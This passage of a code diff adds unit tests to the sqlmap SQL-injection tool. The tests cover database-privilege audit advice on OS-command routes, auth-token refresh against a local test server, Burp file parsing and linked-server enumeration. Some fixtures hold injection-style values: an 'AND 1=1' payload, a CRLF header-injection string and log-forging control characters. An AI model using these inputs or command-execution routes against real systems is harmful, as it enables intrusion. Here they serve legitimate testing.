result = PostgreSQLAudit().explain({'privileges': {'superuser': '0', 'pg_read_server_files': '1', 'pg_execute_server_program': '0'}})
|
||||
self.assertTrue(any('--file-read' in item for item in result))
|
||||
self.assertFalse(any('--os-cmd' in item for item in result))
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '0'}})
|
||||
self.assertTrue(any('EXECUTE permission missing' in item for item in result))
|
||||
self.assertFalse(any('--os-cmd' in item for item in result))
|
||||
conf.direct = True
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '0'}, 'identity': {'sysadmin': '1'}})
|
||||
self.assertTrue(any('can enable xp_cmdshell' in item for item in result))
|
||||
result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}})
|
||||
self.assertTrue(any('--os-cmd' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'pg_execute_server_program': '1'}})
|
||||
self.assertTrue(any('--os-cmd' in item for item in result))
|
||||
|
||||
def test_execution_advice_uses_known_routes_without_probing(self):
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
inject.getValue = lambda *a, **k: self.fail('guidance must not send probes')
|
||||
pg = {'privileges': {'pg_execute_server_program': '1'}}
|
||||
ms = {'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}}
|
||||
for audit, groups in ((PostgreSQLAudit(), pg), (MSSQLAudit(), ms)):
|
||||
for route in ('none', 'stacked', 'gadget', 'direct'):
|
||||
kb.injection.data = {PAYLOAD.TECHNIQUE.STACKED: {'title': 'stacked queries'}} if route == 'stacked' else {}
|
||||
kb.gadget = {'command': 'known gadget'} if route == 'gadget' else None
|
||||
conf.direct = route == 'direct'
|
||||
result = audit.explain(groups)
|
||||
self.assertEqual(any('--os-cmd' in item for item in result), route != 'none')
|
||||
self.assertEqual(any('no statement execution route identified' in item for item in result), route == 'none')
|
||||
|
||||
def test_rls_setting_does_not_grant_bypass(self):
|
||||
from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit
|
||||
result = PostgreSQLAudit().explain({'configuration': {'row_security': 'off'}, 'privileges': {'superuser': '0', 'bypass RLS': '0'}})
|
||||
self.assertFalse(any('bypasses' in item for item in result))
|
||||
result = PostgreSQLAudit().explain({'privileges': {'bypass RLS': '1'}})
|
||||
self.assertTrue(any('bypasses' in item for item in result))
|
||||
|
||||
def test_empty_result_requires_confirmed_zero_count(self):
|
||||
audit = Audit()
|
||||
audit.dbms = DBMS.MYSQL
|
||||
for count, expected in ((0, {}), ('0', {}), ([[0]], {}), (None, None), ('1', None)):
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
calls.append(query)
|
||||
return count if kwargs.get('expected') == EXPECTED.INT else None
|
||||
inject.getValue = getValue
|
||||
self.assertEqual(audit._auditFetch('audit_identity'), expected)
|
||||
self.assertEqual(len(calls), 2)
|
||||
audit.queries = (('empty scope', ('audit_identity',)),)
|
||||
inject.getValue = lambda query, **kwargs: 0 if kwargs.get('expected') == EXPECTED.INT else None
|
||||
self.assertEqual(audit.getAudit(), ['empty scope: no entries'])
|
||||
|
||||
def test_control_characters_are_escaped_in_facts_and_guidance(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
value = "/allowed/\n[*] forged\r\x1b[2J"
|
||||
inject.getValue = lambda query, **kwargs: [['secure_file_priv', 'V' + value]] if '@@GLOBAL.secure_file_priv' in query else [['name\nforged', 'Vsafe']]
|
||||
result = MySQLAudit().getAudit()
|
||||
self.assertTrue(any('\\n[*] forged' in item for item in result))
|
||||
self.assertFalse(any(any(char in item for char in ('\n', '\r', '\x1b')) for item in result))
|
||||
|
||||
def test_listing_summary_reports_displayed_and_total(self):
|
||||
from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit
|
||||
from plugins.dbms.oracle.audit import Audit as OracleAudit
|
||||
links = {'visible linked servers': '200', 'link one': 'destination'}
|
||||
self.assertIn('Linked servers: showing 1 of 200; use --links for the full list', MSSQLAudit().explain({'linked servers': links}))
|
||||
grants = {'visible directory grants': '200', 'ONE [READ]': '/one'}
|
||||
self.assertEqual(OracleAudit().explain({'directory grants': grants}), ['Directory grants: showing 1 of 200'])
|
||||
|
||||
def test_only_observed_settings_are_listed_once(self):
|
||||
from plugins.dbms.mysql.audit import Audit as MySQLAudit
|
||||
def getValue(query, **kwargs):
|
||||
if '@@GLOBAL.secure_file_priv' in query:
|
||||
return [['secure_file_priv', 'V/allowed/']]
|
||||
return [['local_infile', 'VOFF']]
|
||||
inject.getValue = getValue
|
||||
result = MySQLAudit().getAudit()
|
||||
self.assertFalse(any('super_read_only' in item for item in result))
|
||||
self.assertEqual(sum('/ secure_file_priv:' in item for item in result), 1)
|
||||
self.assertFalse(any('not established' in item or 'does not establish' in item for item in result))
|
||||
|
||||
def test_snippets_are_single_read_only_statements(self):
|
||||
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE):
|
||||
set_dbms(dbms)
|
||||
audit = importlib.import_module('plugins.dbms.%s.audit' % DBMS_DIRECTORY_DICT[dbms]).Audit()
|
||||
for scope, snippets in audit.queries:
|
||||
for snippet in snippets:
|
||||
sql = getSQLSnippet(dbms, snippet, LIMIT="20")
|
||||
self.assertTrue(sql.startswith('SELECT '))
|
||||
self.assertNotIn(';', sql.replace('; RPC out: ', ''))
|
||||
self.assertIn('audit_value', sql)
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh'])
|
||||
lines = [line for line in output.decode('utf-8').splitlines() if '--audit' in line]
|
||||
self.assertEqual(len(lines), 1)
|
||||
self.assertLessEqual(len(lines[0]), 78)
|
||||
@@ -0,0 +1,341 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Authentication refresh hook loading and replay against a local HTTP server.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb, paths, cmdLineOptions
|
||||
from lib.core.enums import MKSTEMP_PREFIX, REDIRECTION
|
||||
from lib.core.exception import SqlmapConnectionException, SqlmapFilePathException, SqlmapSyntaxException
|
||||
from lib.core.option import _setAuthRefreshFunction, _setKnowledgeBaseAttributes
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request import authrefresh
|
||||
from lib.request.connect import Connect
|
||||
from lib.request.redirecthandler import SmartRedirectHandler
|
||||
from thirdparty.six.moves import BaseHTTPServer, socketserver
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
_GET_PAGE = Connect.__dict__['getPage']
|
||||
_QUERY_PAGE = Connect.__dict__['queryPage']
|
||||
|
||||
|
||||
def _assertTemplate(testCase, exception):
|
||||
match = re.search(r"template script at '([^']+)'", str(exception))
|
||||
testCase.assertIsNotNone(match)
|
||||
path = match.group(1)
|
||||
try:
|
||||
testCase.assertTrue(os.path.basename(path).startswith(MKSTEMP_PREFIX.AUTH_REFRESH))
|
||||
testCase.assertTrue(os.path.isfile(os.path.join(os.path.dirname(path), '__init__.py')))
|
||||
with open(path) as stream:
|
||||
source = stream.read()
|
||||
namespace = {}
|
||||
eval(compile(source, path, 'exec'), namespace)
|
||||
testCase.assertEqual(namespace['refresh'](), {'Authorization': 'Bearer <fresh token>'})
|
||||
testCase.assertNotIn(paths.SQLMAP_EXTRAS_PATH, path)
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
|
||||
class _Server(socketserver.ThreadingMixIn, BaseHTTPServer.HTTPServer):
|
||||
daemon_threads = True
|
||||
|
||||
|
||||
class _Handler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
def do_GET(self):
|
||||
self.do_POST()
|
||||
|
||||
def do_POST(self):
|
||||
body = self.rfile.read(int(self.headers.get('Content-Length', '0')))
|
||||
token = self.headers.get('X-Auth-Token')
|
||||
if self.path == '/refresh':
|
||||
self.server.refreshes += 1
|
||||
code, body = 200, b'{"token":"fresh"}'
|
||||
else:
|
||||
with self.server.lock:
|
||||
self.server.requests.append((self.path, body, token))
|
||||
if token != self.server.token:
|
||||
self.server.expired += 1
|
||||
if self.server.expired >= 2:
|
||||
self.server.bothExpired.set()
|
||||
if token != self.server.token and self.server.syncExpired:
|
||||
self.server.bothExpired.wait(3)
|
||||
code = 200 if token == self.server.token else 401
|
||||
body = b'ok' if code == 200 else b'expired'
|
||||
self.send_response(302 if self.path == '/redirect' and code == 200 else code)
|
||||
if self.path == '/redirect' and code == 200:
|
||||
self.send_header('Location', self.server.redirect)
|
||||
self.send_header('Content-Type', 'text/plain; charset=utf-8')
|
||||
self.send_header('Content-Length', str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
|
||||
class TestAuthRefresh(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.conf = dict(conf)
|
||||
self.cmdLineOptions = dict(cmdLineOptions)
|
||||
cmdLineOptions.method = None
|
||||
self.kb = dict(kb)
|
||||
self.threadData = dict(getCurrentThreadData().__dict__)
|
||||
getCurrentThreadData().__dict__.clear()
|
||||
getCurrentThreadData().reset()
|
||||
self.timeout = socket.getdefaulttimeout()
|
||||
self.urlopen = _urllib.request.urlopen
|
||||
# Other engine tests replace these descriptors; use the real methods even when an
|
||||
# earlier Python 2 fixture restored a bare function instead of a staticmethod.
|
||||
self.methods = Connect.__dict__['getPage'], Connect.__dict__['queryPage']
|
||||
Connect.getPage, Connect.queryPage = _GET_PAGE, _QUERY_PAGE
|
||||
_setKnowledgeBaseAttributes(False)
|
||||
kb.wizardMode = True
|
||||
self.server = _Server(('127.0.0.1', 0), _Handler)
|
||||
self.server.requests = []
|
||||
self.server.refreshes = 0
|
||||
self.server.token = 'fresh'
|
||||
self.server.expired = 0
|
||||
self.server.syncExpired = False
|
||||
self.server.bothExpired = threading.Event()
|
||||
self.server.lock = threading.Lock()
|
||||
self.thread = threading.Thread(target=self.server.serve_forever)
|
||||
self.thread.daemon = True
|
||||
self.thread.start()
|
||||
conf.url = 'http://127.0.0.1:%d/test' % self.server.server_port
|
||||
conf.hostname, conf.scheme, conf.port = '127.0.0.1', 'http', self.server.server_port
|
||||
conf.path = '/test'
|
||||
conf.httpHeaders = [('X-Auth-Token', 'expired')]
|
||||
conf.parameters = {}
|
||||
conf.data = None
|
||||
conf.abortCode = []
|
||||
conf.ignoreCode = []
|
||||
conf.authRefresh = 'test_refresh.py'
|
||||
conf.batch = True
|
||||
conf.keepAlive = False
|
||||
conf.retryOn = None
|
||||
conf.timeout = 5
|
||||
conf.ignoreRedirects = False
|
||||
conf.scope = None
|
||||
kb.choices.redirect = REDIRECTION.YES
|
||||
_urllib.request.urlopen = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), SmartRedirectHandler()).open
|
||||
|
||||
def refresh():
|
||||
# A real, application-specific token exchange outside sqlmap's request engine.
|
||||
response = _urllib.request.urlopen(conf.url.replace('/test', '/refresh'), timeout=3)
|
||||
try:
|
||||
return {'X-Auth-Token': json.loads(response.read().decode('ascii'))['token']}
|
||||
finally:
|
||||
response.close()
|
||||
|
||||
kb.authRefreshFunction = refresh
|
||||
|
||||
def tearDown(self):
|
||||
self.server.shutdown()
|
||||
self.server.server_close()
|
||||
self.thread.join(5)
|
||||
_urllib.request.urlopen = self.urlopen
|
||||
Connect.getPage, Connect.queryPage = self.methods
|
||||
socket.setdefaulttimeout(self.timeout)
|
||||
conf.clear()
|
||||
conf.update(self.conf)
|
||||
cmdLineOptions.clear()
|
||||
cmdLineOptions.update(self.cmdLineOptions)
|
||||
kb.clear()
|
||||
kb.update(self.kb)
|
||||
getCurrentThreadData().__dict__.clear()
|
||||
getCurrentThreadData().__dict__.update(self.threadData)
|
||||
|
||||
def test_expiry_mid_scan_preserves_payload_and_reuses_headers(self):
|
||||
self.server.token = 'expired'
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
self.server.token = 'fresh'
|
||||
payload = b'id=1%20AND%201%3D1&other=keep'
|
||||
self.assertEqual(Connect.getPage(get='marker=123', post=payload)[2], 200)
|
||||
self.assertEqual(self.server.requests[-2:], [('/test?marker=123', payload, 'expired'), ('/test?marker=123', payload, 'fresh')])
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
self.assertEqual(getCurrentThreadData().lastCode, 200)
|
||||
self.assertEqual(getCurrentThreadData().lastPage, 'ok')
|
||||
self.assertNotEqual(kb.originalCode, 401)
|
||||
|
||||
def test_second_401_stops_after_one_replay(self):
|
||||
kb.authRefreshFunction = lambda: {'X-Auth-Token': 'still-expired'}
|
||||
with self.assertRaises(SqlmapConnectionException):
|
||||
Connect.getPage()
|
||||
self.assertEqual(len(self.server.requests), 2)
|
||||
self.assertTrue(kb.authRefreshFailed)
|
||||
|
||||
def test_abort_code_takes_precedence(self):
|
||||
conf.abortCode = [401]
|
||||
with self.assertRaises(SystemExit):
|
||||
Connect.getPage()
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
self.assertEqual(len(self.server.requests), 1)
|
||||
|
||||
def test_without_option_preserves_401_behavior(self):
|
||||
conf.authRefresh = None
|
||||
with self.assertRaises(SqlmapConnectionException):
|
||||
Connect.getPage()
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
|
||||
def test_concurrent_401s_share_one_refresh(self):
|
||||
self.server.syncExpired = True
|
||||
results, errors = [], []
|
||||
|
||||
def worker():
|
||||
try:
|
||||
results.append(Connect.getPage()[2])
|
||||
except Exception as ex:
|
||||
errors.append(ex)
|
||||
|
||||
workers = [threading.Thread(target=worker) for _ in range(2)]
|
||||
for workerThread in workers:
|
||||
workerThread.start()
|
||||
for workerThread in workers:
|
||||
workerThread.join(10)
|
||||
self.assertFalse(workerThread.is_alive())
|
||||
self.assertEqual(errors, [])
|
||||
self.assertEqual(results, [200, 200])
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
self.assertEqual(self.server.expired, 2)
|
||||
|
||||
def test_invalid_hook_results_are_rejected_without_leaking_secrets(self):
|
||||
for result in (None, {}, 'secret-token', {'X-Token': 'secret\r\nInjected: value'}, {'Host': 'elsewhere'}, {'X-Token': 42}, {'X-Token': 'secret', 'x-token': 'other'}):
|
||||
kb.authRefreshFailed = False
|
||||
kb.authRefreshFunction = lambda: result
|
||||
with self.assertRaises(SqlmapConnectionException) as caught:
|
||||
authrefresh.refresh(0)
|
||||
self.assertNotIn('secret', str(caught.exception))
|
||||
_assertTemplate(self, caught.exception)
|
||||
self.assertEqual(kb.authRefreshVersion, 0)
|
||||
|
||||
def test_hook_exception_is_sanitized(self):
|
||||
def refresh():
|
||||
raise ValueError('password=secret')
|
||||
kb.authRefreshFunction = refresh
|
||||
with self.assertRaises(SqlmapConnectionException) as caught:
|
||||
Connect.getPage()
|
||||
self.assertNotIn('secret', str(caught.exception))
|
||||
_assertTemplate(self, caught.exception)
|
||||
self.assertEqual(len(self.server.requests), 1)
|
||||
|
||||
def test_credentials_are_scoped_to_scheme_host_and_port(self):
|
||||
authrefresh.refresh(0)
|
||||
for url in ('http://elsewhere/test', 'https://127.0.0.1/test', 'http://127.0.0.1:1/test'):
|
||||
req = _urllib.request.Request(url)
|
||||
self.assertIsNone(authrefresh.apply(req))
|
||||
self.assertEqual(req.headers, {})
|
||||
self.assertTrue(authrefresh.sameOrigin('https://example.com', 'https://example.com:443/path'))
|
||||
|
||||
def test_refresh_overrides_stale_preprocess_headers(self):
|
||||
kb.preprocessFunctions = [lambda req: req.add_header('X-Auth-Token', 'expired')]
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
|
||||
def test_redirect_to_another_port_does_not_receive_refreshed_token(self):
|
||||
authrefresh.refresh(0)
|
||||
other = _Server(('127.0.0.1', 0), _Handler)
|
||||
other.requests, other.token, other.expired = [], None, 0
|
||||
other.lock = threading.Lock()
|
||||
other.syncExpired = False
|
||||
thread = threading.Thread(target=other.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
try:
|
||||
self.server.redirect = 'http://127.0.0.1:%d/landing' % other.server_port
|
||||
Connect.getPage(url=conf.url.replace('/test', '/redirect'))
|
||||
self.assertEqual(other.requests, [('/landing', b'', None)])
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
finally:
|
||||
other.shutdown()
|
||||
other.server_close()
|
||||
thread.join(5)
|
||||
|
||||
def test_auth_refresh_latency_is_excluded_from_query_timing(self):
|
||||
import lib.request.connect as connect
|
||||
originalPage, originalDelta = Connect.getPage, connect.calculateDeltaSeconds
|
||||
|
||||
def getPage(**kwargs):
|
||||
getCurrentThreadData().authRefreshTime += 12
|
||||
return 'ok', None, 200
|
||||
|
||||
Connect.getPage = staticmethod(getPage)
|
||||
connect.calculateDeltaSeconds = lambda start: 15
|
||||
try:
|
||||
Connect.queryPage(content=True)
|
||||
self.assertEqual(getCurrentThreadData().lastQueryDuration, 3)
|
||||
finally:
|
||||
Connect.getPage = staticmethod(originalPage)
|
||||
connect.calculateDeltaSeconds = originalDelta
|
||||
|
||||
|
||||
class TestAuthRefreshLoader(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.directory = tempfile.mkdtemp(prefix='sqlmap-authrefresh-')
|
||||
self.oldOption = conf.authRefresh
|
||||
self.oldFunction = kb.authRefreshFunction
|
||||
self.oldPath = list(sys.path)
|
||||
|
||||
def tearDown(self):
|
||||
conf.authRefresh = self.oldOption
|
||||
kb.authRefreshFunction = self.oldFunction
|
||||
sys.path[:] = self.oldPath
|
||||
for name in list(sys.modules):
|
||||
if name.startswith('authrefresh_test_'):
|
||||
del sys.modules[name]
|
||||
shutil.rmtree(self.directory)
|
||||
|
||||
def script(self, name, content):
|
||||
path = os.path.join(self.directory, 'authrefresh_test_%s.py' % name)
|
||||
with open(path, 'w') as stream:
|
||||
stream.write(content)
|
||||
conf.authRefresh = path
|
||||
|
||||
def test_load_does_not_call_refresh(self):
|
||||
self.script('valid', "def refresh():\n raise AssertionError('must only run on 401')\n")
|
||||
_setAuthRefreshFunction()
|
||||
self.assertTrue(callable(kb.authRefreshFunction))
|
||||
|
||||
def test_missing_invalid_and_empty_scripts_point_to_template(self):
|
||||
for name, source in (('empty', ''), ('wrong', 'def other():\n pass\n'), ('args', 'def refresh(req):\n pass\n'), ('syntax', 'def refresh(:')):
|
||||
self.script(name, source)
|
||||
with self.assertRaises(SqlmapSyntaxException) as caught:
|
||||
_setAuthRefreshFunction()
|
||||
_assertTemplate(self, caught.exception)
|
||||
conf.authRefresh = os.path.join(self.directory, 'missing.py')
|
||||
with self.assertRaises(SqlmapFilePathException) as caught:
|
||||
_setAuthRefreshFunction()
|
||||
_assertTemplate(self, caught.exception)
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh'])
|
||||
lines = output.decode('utf-8').splitlines()
|
||||
matches = [i for i, line in enumerate(lines) if '--auth-refresh' in line]
|
||||
self.assertEqual(len(matches), 1)
|
||||
self.assertIn('HTTP 401', lines[matches[0]])
|
||||
self.assertLessEqual(len(lines[matches[0]]), 78)
|
||||
for option in ('--preprocess', '--postprocess'):
|
||||
self.assertLess(matches[0], next(i for i, line in enumerate(lines) if option in line))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -113,6 +113,7 @@ from lib.core.common import (
|
||||
safeSQLIdentificatorNaming,
|
||||
saveConfig,
|
||||
serializeObject,
|
||||
setColor,
|
||||
setTechnique,
|
||||
splitFields,
|
||||
trimAlphaNum,
|
||||
@@ -523,6 +524,19 @@ class TestParseRequestFileBurp(unittest.TestCase):
|
||||
self.assertEqual(method, HTTPMETHOD.GET)
|
||||
self.assertEqual(cookie, "SID=xyz")
|
||||
|
||||
def test_burp_xml_history_protocol(self):
|
||||
# Note: item's <protocol> decides the scheme (the port alone can't tell e.g. HTTPS on 8443 or HTTP on 443)
|
||||
req = base64.b64encode(b"GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\n\r\n").decode()
|
||||
items = "".join('<item><port>%s</port>\n<protocol>%s</protocol><request base64="true"><![CDATA[%s]]></request></item>' % (port, protocol, req) for port, protocol in ((8443, "https"), (443, "http"), (443, "https"), (8080, "")))
|
||||
path = _write_temp("<items>%s</items>" % items, ".xml")
|
||||
try:
|
||||
targets = list(parseRequestFile(path))
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
self.assertEqual([_[0] for _ in targets], ["https://www.target.com:8443/vuln.php?id=1", "http://www.target.com:443/vuln.php?id=1", "https://www.target.com:443/vuln.php?id=1", "http://www.target.com:8080/vuln.php?id=1"])
|
||||
self.assertTrue(all("://" not in value for _ in targets for key, value in _[4] if key == "Host"))
|
||||
|
||||
def test_post_body_captured(self):
|
||||
content = (
|
||||
"======================================================\n"
|
||||
@@ -1784,6 +1798,49 @@ class TestCheckOldOptions(unittest.TestCase):
|
||||
self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"]))
|
||||
|
||||
|
||||
class TestSetColorHandlerMismatch(unittest.TestCase):
|
||||
"""
|
||||
Regression test for issue #6122: setColor() decided whether to colorize purely from
|
||||
conf.disableColoring/IS_TTY, independent of whether the installed LOGGER_HANDLER actually
|
||||
supports colorize() (a plain logging.StreamHandler - installed for --disable-coloring, or as
|
||||
the ansistrm-unavailable fallback - never defines it). A multiprocessing hash-cracking worker
|
||||
hit exactly this mismatch (conf.disableColoring not carried over into the worker) and crashed
|
||||
with an AttributeError that got misreported as "there was a problem while hashing entry".
|
||||
"""
|
||||
|
||||
def setUp(self):
|
||||
import lib.core.common as common_mod
|
||||
self._common_mod = common_mod
|
||||
self._saved_handler = common_mod.LOGGER_HANDLER
|
||||
self._saved_disableColoring = conf.get("disableColoring")
|
||||
|
||||
def tearDown(self):
|
||||
self._common_mod.LOGGER_HANDLER = self._saved_handler
|
||||
conf.disableColoring = self._saved_disableColoring
|
||||
|
||||
def test_plain_handler_without_colorize_does_not_raise(self):
|
||||
import logging
|
||||
self._common_mod.LOGGER_HANDLER = logging.StreamHandler() # no .colorize(), like the --disable-coloring handler
|
||||
conf.disableColoring = False # the desync: coloring "should" apply, but handler can't
|
||||
result = setColor("[INFO] current status: abcde", istty=True) # must not raise
|
||||
self.assertIsInstance(result, str)
|
||||
|
||||
def test_colorizing_handler_still_used(self):
|
||||
# sanity check: a handler that DOES define colorize() is unaffected by the guard
|
||||
calls = []
|
||||
|
||||
class _FakeColorizingHandler(object):
|
||||
def colorize(self, message, levelno, force=False):
|
||||
calls.append((message, levelno, force))
|
||||
return "COLORIZED"
|
||||
|
||||
self._common_mod.LOGGER_HANDLER = _FakeColorizingHandler()
|
||||
conf.disableColoring = False
|
||||
result = setColor("[INFO] current status: abcde", istty=True)
|
||||
self.assertEqual(result, "COLORIZED")
|
||||
self.assertEqual(len(calls), 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
@@ -113,14 +113,23 @@ class TestConfigFileRoundTrip(unittest.TestCase):
|
||||
try:
|
||||
conf.url = "http://127.0.0.1:1/?id=1"
|
||||
conf.commonTables = True
|
||||
conf.getLinks = True
|
||||
conf.getAudit = True
|
||||
conf.authRefresh = "refresh_auth.py"
|
||||
conf.tablePrefix = "zzz"
|
||||
saveConfig(conf, path)
|
||||
|
||||
conf.url, conf.commonTables, conf.tablePrefix = None, False, "overwritten"
|
||||
conf.getLinks = False
|
||||
conf.getAudit = False
|
||||
conf.authRefresh = None
|
||||
configFileParser(path)
|
||||
|
||||
self.assertEqual(conf.url, "http://127.0.0.1:1/?id=1")
|
||||
self.assertTrue(conf.commonTables)
|
||||
self.assertTrue(conf.getLinks)
|
||||
self.assertTrue(conf.getAudit)
|
||||
self.assertEqual(conf.authRefresh, "refresh_auth.py")
|
||||
self.assertEqual(conf.tablePrefix, "zzz")
|
||||
finally:
|
||||
conf.clear()
|
||||
|
||||
@@ -17,6 +17,8 @@ the suite.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
@@ -25,7 +27,7 @@ from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.data import conf, kb, queries
|
||||
from lib.core.enums import EXPECTED, PAYLOAD
|
||||
import plugins.generic.databases as dbmod
|
||||
from plugins.generic.databases import Databases
|
||||
@@ -284,6 +286,28 @@ class TestGetTables(_BaseEnumTest):
|
||||
self.assertIn("testdb", result)
|
||||
self.assertEqual(sorted(result["testdb"]), sorted(tables))
|
||||
|
||||
def test_get_tables_inference_spanner(self):
|
||||
# Spanner's blind template must page per row (it used to crash with "not all arguments converted", #6151)
|
||||
set_dbms("Spanner")
|
||||
self._enable_inference()
|
||||
d = self._fresh()
|
||||
conf.db = "testdb"
|
||||
conf.tbl = None
|
||||
|
||||
tables = ["t_a", "t_b"]
|
||||
queries_ = []
|
||||
|
||||
def gv(query, *a, **k):
|
||||
if k.get("expected") == EXPECTED.INT:
|
||||
return str(len(tables))
|
||||
queries_.append(query)
|
||||
return [tables[len(queries_) - 1]]
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
result = d.getTables()
|
||||
self.assertEqual(sorted(result["testdb"]), sorted(tables))
|
||||
self.assertEqual([_.endswith("OFFSET %d" % i) for i, _ in enumerate(queries_)], [True, True])
|
||||
|
||||
|
||||
class TestGetColumns(_BaseEnumTest):
|
||||
def _run_direct(self, dbms, db, tbl, rows):
|
||||
@@ -500,6 +524,110 @@ class TestGetSchema(_BaseEnumTest):
|
||||
self.assertEqual(result["testdb"]["users"].get("id"), "int")
|
||||
|
||||
|
||||
class TestGetLinks(_BaseEnumTest):
|
||||
def setUp(self):
|
||||
_BaseEnumTest.setUp(self)
|
||||
self._saved_links = kb.data.get("cachedLinks")
|
||||
|
||||
def tearDown(self):
|
||||
kb.data.cachedLinks = self._saved_links
|
||||
_BaseEnumTest.tearDown(self)
|
||||
|
||||
def test_unsupported_dbms_does_not_query(self):
|
||||
d = self._fresh()
|
||||
dbmod.inject.getValue = lambda *a, **k: self.fail("unsupported DBMS must not query links")
|
||||
saved = dbmod.logger.warning
|
||||
warnings = []
|
||||
try:
|
||||
dbmod.logger.warning = warnings.append
|
||||
for dbms in queries:
|
||||
if "links" not in queries[dbms]:
|
||||
set_dbms(dbms)
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
self.assertIn(dbms, warnings[-1])
|
||||
finally:
|
||||
dbmod.logger.warning = saved
|
||||
|
||||
def test_direct_links_and_cache(self):
|
||||
conf.direct = True
|
||||
for dbms in ("Microsoft SQL Server", "Oracle"):
|
||||
set_dbms(dbms)
|
||||
d = self._fresh()
|
||||
calls = []
|
||||
|
||||
def gv(query, **kwargs):
|
||||
calls.append(query)
|
||||
return [["remote -> db.example"], ["other -> <unknown>"]]
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
expected = ["remote -> db.example", "other -> <unknown>"]
|
||||
self.assertEqual(d.getLinks(), expected)
|
||||
self.assertEqual(d.getLinks(), expected)
|
||||
self.assertEqual(calls, [queries[dbms].links.inband.query])
|
||||
|
||||
def test_blind_links_use_zero_based_paging(self):
|
||||
self._enable_inference()
|
||||
for dbms in ("Microsoft SQL Server", "Oracle"):
|
||||
set_dbms(dbms)
|
||||
d = self._fresh()
|
||||
calls = []
|
||||
values = iter(["2", ["first -> host1"], ["second -> host2"]])
|
||||
|
||||
def gv(query, **kwargs):
|
||||
calls.append(query)
|
||||
return next(values)
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
self.assertEqual(d.getLinks(), ["first -> host1", "second -> host2"])
|
||||
root = queries[dbms].links
|
||||
self.assertEqual(calls, [root.blind.count, root.blind.query % 0, root.blind.query % 1])
|
||||
|
||||
def test_empty_direct_results(self):
|
||||
set_dbms("Microsoft SQL Server")
|
||||
conf.direct = True
|
||||
d = self._fresh()
|
||||
dbmod.inject.getValue = lambda *a, **k: None
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
|
||||
def test_oracle_query_paging_and_null_destination(self):
|
||||
# Evaluate the catalog/paging SQL with compatible SQLite expressions; live Oracle is
|
||||
# not required for this check of owner-qualified names, NULL handling and row offsets.
|
||||
conn = sqlite3.connect(":memory:")
|
||||
try:
|
||||
conn.create_function("NVL", 2, lambda value, default: default if value is None else value)
|
||||
conn.execute("CREATE TABLE ALL_DB_LINKS (OWNER TEXT, DB_LINK TEXT, HOST TEXT)")
|
||||
conn.executemany("INSERT INTO ALL_DB_LINKS VALUES (?,?,?)", [("PUBLIC", "REMOTE", "db.example"), ("APP", "REMOTE", None)])
|
||||
root = queries["Oracle"].links
|
||||
